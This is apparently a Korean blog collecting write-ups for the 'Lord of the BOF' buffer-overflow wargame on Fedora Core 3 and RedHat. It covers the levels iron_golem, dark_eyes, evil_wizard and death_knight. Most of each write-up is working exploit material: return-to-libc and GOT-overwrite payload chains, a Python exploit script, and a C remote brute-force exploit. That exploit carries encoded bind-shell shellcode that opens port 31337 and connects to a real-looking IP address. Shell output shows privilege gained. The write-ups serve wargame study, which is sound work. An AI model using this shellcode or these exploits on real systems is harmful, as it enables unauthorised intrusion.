[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 ]




필요한 함수들의 주소

(gdb)p execve

{<text variable, no debug info>} 0x7a5490 <execve>


(gdb) info func

0x0804854c  pop_pop_ret


[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep strcpy

08048494 <strcpy@plt>:

 8048624: e8 6b fe ff ff       call   8048494 <strcpy@plt>

(gdb) x/10xi 0x8048434

0x8048434 <_init+104>: jmp    *0x8049888

0x804843a <_init+110>: push   $0x20

(gdb) x/10xi 0x8049888   //memcpy GOT 주소값 

0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: rclb   $0x60,0x0(%eax,%edi,2)

0x804988d <_GLOBAL_OFFSET_TABLE_+33>: cwtl   

(gdb) x/10xi *0x8049888  //memcpy GOT 주소값의 값들을 확인해보면 memcpy가 들어있음

0x7854c0 <memcpy>: mov    0xc(%esp),%ecx

0x7854c4 <memcpy+4>: mov    %edi,%eax

0x7854c6 <memcpy+6>: mov    0x4(%esp),%edi


[ 정리 ]


 PPR  address : 0x0804854c

 strcpy@PLT    : 0x8048494

 memcpy@GOT 0x8049888

 execve          : 0x007a5490

                              0x90  : 0x8049450

0x54  : 0x80487b4

0x7a  : 0x8048898

0x00  : 0x8048798


main+240         : 0x08048644



- main+240 주소값 구하기 

(gdb)disass main

0x08048644 <main+240>: call   0x8048434 <_init+104>

   



- execve 주소값을 가지고 있는 주소값 구하기 (고정된 주소는 다 뒤져야함)

0x80487b0: 0x0000000d 0x08048754 0x00000004 0x08048148

(gdb) x/x 0x080487b0+4

0x80487b4: 0x08048754


0x8048790: 0x00000000 0xffffffff 0x00000000 0x00000000

(gdb) x/x 0x8048790+8

0x8048798: 0x00000000


0x804888c: 0x0804844a 0x0804845a 0x0804846a 0x0804847a

(gdb) x/x 0x804888c+12

0x8048898: 0x0804847a


0x804944c: 0xe9000000 0xffffff90 0x989025ff 0x30680804

(gdb) x/x 0x804944c+4

0x8049450: 0xffffff90





[ 공격구문 ]



import os

def main():


        x= "x"*268+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+\

                "\x44\x86\x04\x08"+"\xc6\x84\x04\x08"


                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+0 + execve_1st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+1 + execve_2st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+2 + execve_3st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+3 + execve_4st_addr <- addr

                 #main+240 (EBP)  + somewhere static address


        TARGET = "./evil_wizard"

        CMD = TARGET + " " + x

        os.system(CMD)


if __name__ == '__main__' :

        main()


   

[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'`//고정된 주소 값 

.

.

.[007037a2] execve("??U???, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory) //특정값을 실행

[00784fd7] --- SIGSEGV (Segmentation fault) @ 0 (0) ---

upeek: ptrace(PTRACE_PEEKUSER,4524,48,0): No such process

[????????] +++ killed by SIGSEGV +++

[hell_fire@Fedora_1stFloor ~]$ 


[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'` 2> error.txt //고정된 주소 값

 

[hell_fire@Fedora_1stFloor ~]$xxd error.txt

0000970: 3761 325d 2065 7865 6376 6528 2290 9055  7a2] execve("..U

0000980: 89e5 53e8 222c 205b 305d 2c20 5b2f 2a20  ..S.", [0], [/* 


위에 검은색 부분을 실행시킴 


[hell_fire@Fedora_1stFloor ~]$ make system

cc     system.c   -o system   // setreuid 와 system("/bin/sh") 프로그램


[hell_fire@Fedora_1stFloor ~]$ ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[007037a2] execve("??U???, [0], [/* 0 vars */]) = 0


[hell_fire@Fedora_1stFloor ~]$  ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[hell_fire@Fedora_1stFloor ~]$ python exploit.py 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(???O???P???O???큸??O???????O?????D??

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ 

sh-3.00$ my-pass

euid = 504

get down like that

sh-3.00$ 


Posted by k1rha
2013. 4. 1. 21:53
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)

 

한동안 리모트 환경인줄 모르고 이해가 안갔던 문제,,

 

 

코드는 간단하다 그냥 ebp 를 저장했다가 되돌림으로써 fake_ebp 를 막아놓은 것 말고는 일반적인 버퍼 오버 플로우이다.

다만 리모트 환경이라는 부분을 코드를 찾는데 고생했다.

 

일반적인 페도라 리모트 오버플로우에서 쉘을 획득할때는 execve 보다 system 함수가 더 유용하다. 하지만 system 함수 역시 인자값을 구성해 줘야하는 어려움이 있는데 시스템 함수에는 내부 루틴중에 do_system 함수를 사용 하게 된다.

 

이 do_system 은 내부적으로 execve("/bin/sh","명령어 "); 와 같은 효과를 가지게 되므로 do_system 만 호출하여도 쉘이 올라가게 된다.

 




1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;


Posted by k1rha
2012. 8. 13. 21:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 14. 00:39

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 12. 21:50

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 11. 19:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 11. 18:58

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 2. 02:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 2. 01:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 22:05

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 20:55

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:39

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 7. 1. 01:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 6. 21. 00:14

BOF 원정대 level20 (xavius -> death_knight)

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;   //소켓  서버 구조체 선언

        struct sockaddr_in client_addr;   //소켓 클라이언트 구조체 선언

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){  //소켓의 타입 설정(여기서는 TCP)

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;   //소켓의 타입 결정 IPV4 를 의미

        server_addr.sin_port = htons(6666);   //6666포트를 열게 된다.

        server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음

        bzero(&(server_addr.sin_zero), 8);  //서버의 zin_zero 부분을 0으로 초기화

 

        if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){  //바인딩시킴

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){  //소켓을 대기 상태로 만듬

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                  //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시)

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0); //40바이트 buffer 256바이트를 저장

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}memset(buffer+40+8, 'A', 4);

 

 

리모트 BOF 문제이다.

6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다.

공격 페이로드는 다음과 같다

[buffer=40][sfp=4][ret= 4] [ argc ~~]

 Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]

 

버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다.

이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.

 

이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다.

부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

 

 

 

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

Connected to 220.95.152.26.

Escape character is '^]'.

id

: command not found

id;

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

 

Posted by k1rha
2012. 5. 13. 14:38


Fedora 내부의 환경은 1번 게시글 참조. 

 1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.


4. 1번 문제에서 알아낸 System 함수의 setreuid 초기화 루틴.. 즉 execve 를 사용해야함.



/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


페이로드는 다음과 같다.


[  buffer = 264 ] [ sfp = 4 ] [ ret = 4 ] [ argc ] [ argv ] 
  a * 264              aaaa        ret = & ret

                                                 ret  = & ret

                                                           ret = &execve      (인자값)

                                                                                     ln -s k1rha 인자값

 



(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

 


다음은 strace를 이용한 값을 오류로서 result 에 저장한다. 


ret 주소의 반복은 전 문제에서 이미 2번정도면 스택을 벗어 난다는 것을 확인 했으므로 2번으로 해준 것이다.)


[iron_golem@Fedora_1stFloor ~]$ strace ./dark_eyes `perl -e 'print "a"x268,"\xb9\x84\x04\x08"x2,"\x91\x54\x7a"'` 2> t13.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah¹úþ¹¹‘Tz
[iron_golem@Fedora_1stFloor ~]$ cat t13.txt
execve("./dark_eyes", ["./dark_eyes", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¹¹‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x87dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++

이렇게 저장된 t13.txt 파일을 xxd명령어를 이용하여 헥사 코드로 보자.

[iron_golem@Fedora_1stFloor ~]$xxd t13.txt

0000750: 2c20 3238 3029 203d 2032 3830 0a65 7865  , 280) = 280.exe
0000760: 6376 6528 223c ed83 222c 205b 305d 2c20  cve("<..", [0],
0000770: 5b2f 2a20 3120 7661 7220 2a2f 5d29 2020  [/* 1 var */])
0000780: 2020 2020 203d 202d 3120 454e 4f45 4e54       = -1 ENOENT
0000790: 2028 4e6f 2073 7563 6820 6669 6c65 206f   (No such file o
00007a0: 7220 6469 7265 6374 6f72 7929 0a2d 2d2d  r directory).---
00007b0: 2053 4947 5345 4756 2028 5365 676d 656e   SIGSEGV (Segmen
00007c0: 7461 7469 6f6e 2066 6175 6c74 2920 4020  tation fault) @
00007d0: 3020 2830 2920 2d2d 2d0a 2b2b 2b20 6b69  0 (0) ---.+++ ki
00007e0: 6c6c 6564 2062 7920 5349 4753 4547 5620  lled by SIGSEGV
00007f0: 2b2b 2b0a                                +++.
[iron_golem@Fedora_1stFloor ~]$ 



1번문제와 마찬가지로 " = 0x22 라는 점을 이용하여 그 사이값을 인자로 구성한다. 

이후 setreuid 와 system 함수로 쉘을 실행시키는 프로그램으로 심볼릭 링크 걸어 준다. 


[iron_golem@Fedora_1stFloor ~]$ ln -s k1rha `perl -e 'print "\x3c\xed\x83"'`

[iron_golem@Fedora_1stFloor ~]$ export PATH=$PATH:/home/iron_golem/

[iron_golem@Fedora_1stFloor ~]$ `perl -e 'print "\x3c\xed\x83"'`

sh-3.00$ exit

exit


공격 공격~


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `perl -e 'print "a"x268,"\xfe\x82\x04\x08"x2,"\x91\x54\x7a"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa˜ùãþþþ‘Tz

sh-3.00$ id

uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 502

because of you

sh-3.00$




Posted by k1rha
2012. 5. 11. 16:53

RedHat -> Fedora 로 넘어오면서 바뀌어진 환경



1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.

 



기존에 LOB RedHat 원정대의 경우는 쉘코드를 많이 활용 했었지만, 페도라원정대에서는 RTL 기법을 최대한 활용 하는 방향으로 가야 편하다. 


아래는 페도라의 수문장인 iron_golem 이다. 


/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


정말 다시 돌아온 것같은 느낌의 쉬운 코드.. 간단하게 return adress 의 주소값을 바꿀 수 있는 구조이다. 



 [gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>:    push   %ebp
0x080483d1 <main+1>:    mov    %esp,%ebp
0x080483d3 <main+3>:    sub    $0x108,%esp //  stack 의 메모리 할당 부분 . 
0x080483d9 <main+9>:    and    $0xfffffff0,%esp
0x080483dc <main+12>:   mov    $0x0,%eax
0x080483e1 <main+17>:   add    $0xf,%eax
0x080483e4 <main+20>:   add    $0xf,%eax
0x080483e7 <main+23>:   shr    $0x4,%eax
0x080483ea <main+26>:   shl    $0x4,%eax
0x080483ed <main+29>:   sub    %eax,%esp
0x080483ef <main+31>:   cmpl   $0x1,0x8(%ebp)
0x080483f3 <main+35>:   jg     0x804840f <main+63>
0x080483f5 <main+37>:   sub    $0xc,%esp
0x080483f8 <main+40>:   push   $0x8048524
0x080483fd <main+45>:   call   0x80482f8 <_init+56>
0x08048402 <main+50>:   add    $0x10,%esp
0x08048405 <main+53>:   sub    $0xc,%esp
0x08048408 <main+56>:   push   $0x0
0x0804840a <main+58>:   call   0x8048308 <_init+72>
0x0804840f <main+63>:   sub    $0x8,%esp
0x08048412 <main+66>:   mov    0xc(%ebp),%eax
0x08048415 <main+69>:   add    $0x4,%eax
0x08048418 <main+72>:   pushl  (%eax)
0x0804841a <main+74>:   lea    0xfffffef8(%ebp),%eax
0x08048420 <main+80>:   push   %eax
0x08048421 <main+81>:   call   0x8048318 <_init+88>
0x08048426 <main+86>:   add    $0x10,%esp
0x08048429 <main+89>:   sub    $0x8,%esp
0x0804842c <main+92>:   lea    0xfffffef8(%ebp),%eax
0x08048432 <main+98>:   push   %eax
0x08048433 <main+99>:   push   $0x8048530
0x08048438 <main+104>:  call   0x80482f8 <_init+56>
0x0804843d <main+109>:  add    $0x10,%esp
0x08048440 <main+112>:  leave
0x08048441 <main+113>:  ret
0x08048442 <main+114>:  nop
0x08048443 <main+115>:  nop
End of assembler dump.
(gdb)
(gdb) print 0x108
$1 = 264
(gdb)



페이로드를 그려보면 다음과 같다. 


[buffer = 264 ] [sfp =4 ] [ret =4] [argc =4 ][argv =4 ] 



[gate@Fedora_1stFloor ~]$ cp iron_golem iron_golen

[gate@Fedora_1stFloor ~]$ ulimit -c 10000

[gate@Fedora_1stFloor ~]$ iron_golen `perl -e 'print "a"x268,"bbbb"'`

-bash: iron_golen: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"bbbb"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ gdb -c core.7

core.7049  core.7197

[gate@Fedora_1stFloor ~]$ gdb -c core.7197

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./iron_golen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.

Program terminated with signal 11, Segmentation fault.

#0  0x62626262 in ?? ()

(gdb)



RET 주소가 bbbb 로 싀워진것을 확인 할 수 있다. 


다음은 RTL 에 쓸 system() 함수의 시작 주소값을 알아 보자.

 

[gate@Fedora_1stFloor ~]$ gdb iron_golen

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".


(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golen

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb)


우선 기본 RTL 공격 페이로드를 봐보자 



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ &system()] [argc]  [&(system 함수의 인자 값) ] 
                                                                                         -> ln -s  symbolic_link


sysbolic_link.c

#include<stdio.h>

int main(){

 setreuid(geteuid(),geteuid());


  system("/bin/sh");


return 0;

}

그리고 system 함수를 RET에 넣고 시작하여 인자로 쓸 부분을 확인해 보자. 


[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

